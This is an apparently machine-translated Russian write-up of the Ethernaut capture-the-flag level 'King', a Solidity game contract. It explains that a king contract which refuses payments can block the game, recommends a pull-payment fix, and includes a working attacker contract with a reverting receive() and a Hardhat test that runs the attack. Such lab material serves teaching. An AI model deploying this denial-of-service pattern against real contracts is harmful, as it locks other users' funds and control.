Эфирная серия — уровень 9 (король)


УРОВЕНЬ 9 (король):

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}
Войдите в полноэкранный режим Выход из полноэкранного режима

Требования

1. Захват короля
2. не дать владельцу забрать короля обратно

Ключевые моменты

1. хранение договора является видимым, включая частные
2. вызов передачи сообщит об ошибке (например, недостаточно газа/получение намеренно обратное), что предотвратит последующие операции. вы можете использовать send/call для повторного определения результата возврата, но это не лучшее решение, потому что если это не удастся, то как пользователь сможет вернуть возврат?
Поэтому лучшим решением будет не возвращать деньги непосредственно в другой бизнес-логике, в бизнесе только вбивать возвращаемый логотип и так далее, а затем предоставить внешний метод для сбора возврата в соответствии с логотипом (конечно, не забудьте обновить собранный логотип после возврата).

Идеи решения

1. проверить приз и перевести деньги напрямую
контракты/09KingRun.sol

    function run(address _levelAddress) external payable{     
        //transfer会失败,2300gas限制了
        (bool result,) = payable(_levelAddress).call{value:msg.value}("");        
        if(!result) revert("call error");
    }

    //条件二:阻止转账(其实不实现这个方法也是阻止的)
    receive() external payable {
        revert("not receive");
    }
Войдите в полноэкранный режим Выход из полноэкранного режима

test/09King.js

  it("attacks", async function () {
    await runContract.connect(player).run(levelContract.address, {
      value: 1000000000000000 + 1,
    });
  });

  it("check", async function () {
    //检查通过条件
    //1.king不再是levelOwner
    //2.levelOwner无法通过转账取回King
    expect(await levelContract._king()).to.equal(runContract.address);
    let isException = false;
    try {
      await levelOwner.sendTransaction({
        to: levelContract.address,
        value: 1000,
      });
    } catch (e) {
      isException = true;
      //异常才是对的
    }
    expect(isException).to.equal(true);
    expect(await levelContract._king()).to.not.equal(levelOwner.address);
  });
Войдите в полноэкранный режим Выход из полноэкранного режима

Оцените статью
Procodings.ru
Добавить комментарий